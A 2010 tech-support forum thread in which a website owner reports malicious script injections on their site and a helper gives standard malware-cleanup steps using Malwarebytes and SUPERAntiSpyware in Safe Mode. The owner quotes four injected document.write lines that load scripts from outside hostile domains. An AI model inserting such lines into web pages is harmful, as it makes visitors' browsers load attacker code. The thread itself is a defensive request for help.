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Malware problem, affecting all files upload to website

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#1 33kaps


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Posted 15 March 2010 - 03:07 PM

I have recently been having problems with external links related to malware appearing on my website, my hosting provider found many external links and removed them, such as;

document.write('<script src=http://ww.parokimbk.or.id/admin/clsField.php ><\/script>');
document.write('<script src=http://lancar.info/_php_upload_tmp/cart3tabe.php ><\/script>');
document.write('<script src=http://lancar.info/_php_upload_tmp/cart3tabe.php ><\/script>');
document.write('<script src=http://fzdqjn.cn/module/regform.php ><\/script>');

they have continually been deleting links over the past few days, and have advised me that they beleive my local pc is infected with malware/virus as i have been uploading files and updating my website over the past few days. A few days ago norton quarantined a few items - Downloader, and Setup2.exe, it has been then that i have been having these problems. My host also advised me to change my cpanel/ftp password and clean my pc. I would be grateful if someone can provide on measures to take to solve the malware problems on my pc as norton/malware bytes do not seem to find and problems.

Edited by Orange Blossom, 15 March 2010 - 04:08 PM.
Move to AII. ~ OB

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#2 techextreme


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Posted 17 March 2010 - 09:26 AM

Please rescan your computer with Malwarebytes and post the logs.

Be sure to update Malwarebytes before scanning.

As far as changing your passwords on cPanel and your FTP server, I would do that from a known "clean" computer and not this one till we figure out just what's going on with your computer.

I would also like you to scan with SuperAntiSpyware.

SAS, may take a long time to scan
Please download and scan with SUPERAntiSpyware Free
  • Double-click SUPERAntiSypware.exe and use the default settings for installation.
  • An icon will be created on your desktop. Double-click that icon to launch the program.
  • If asked to update the program definitions, click "Yes". If not, update the definitions before scanning by selecting "Check for Updates". (If you encounter any problems while downloading the updates, manually download them from here. Double-click on the hyperlink for Download Installer and save SASDEFINITIONS.EXE to your desktop. Then double-click on SASDEFINITIONS.EXE to install the definitions.)
  • In the Main Menu, click the Preferences... button.
  • Click the "General and Startup" tab, and under Start-up Options, make sure "Start SUPERAntiSpyware when Windows starts" box is unchecked.
  • Click the "Scanning Control" tab, and under Scanner Options, make sure the following are checked (leave all others unchecked):
    • Close browsers before scanning.
    • Scan for tracking cookies.
    • Terminate memory threats before quarantining.
  • Click the "Close" button to leave the control center screen and exit the program.
  • Do not run a scan just yet.
  • First
Reboot your computer in "Safe Mode" using the F8 method. To do this, restart your computer and after hearing your computer beep once during startup (but before the Windows icon appears) press the F8 key repeatedly. A menu will appear with several options. Use the arrow keys to navigate and select the option to run Windows in "Safe Mode".

Scan with SUPERAntiSpyware as follows:
  • Launch the program and back on the main screen, under "Scan for Harmful Software" click Scan your computer.
  • On the left, make sure you check C:\Fixed Drive.
  • On the right, under "Complete Scan", choose Perform Complete Scan and click "Next".
  • After the scan is complete, a Scan Summary box will appear with potentially harmful items that were detected. Click "OK".
  • Make sure everything has a checkmark next to it and click "Next".
  • A notification will appear that "Quarantine and Removal is Complete". Click "OK" and then click the "Finish" button to return to the main menu.
  • If asked if you want to reboot, click "Yes" and reboot normally.
  • To retrieve the removal information after reboot, launch SUPERAntispyware again.
    • Click Preferences, then click the Statistics/Logs tab.
    • Under Scanner Logs, double-click SUPERAntiSpyware Scan Log.
    • If there are several logs, click the current dated log and press View log. A text file will open in your default text editor.
    • Please copy and paste the Scan Log results in your next reply.
  • Click Close to exit the program.

Note.. SAS doesn't open the registry hives for other user accounts on the system, so scans should be done from each user account.

Please post the logs from both MBAM and SAS when complete.

"Admire those who attempt great things, even though they fail."

-- Seneca

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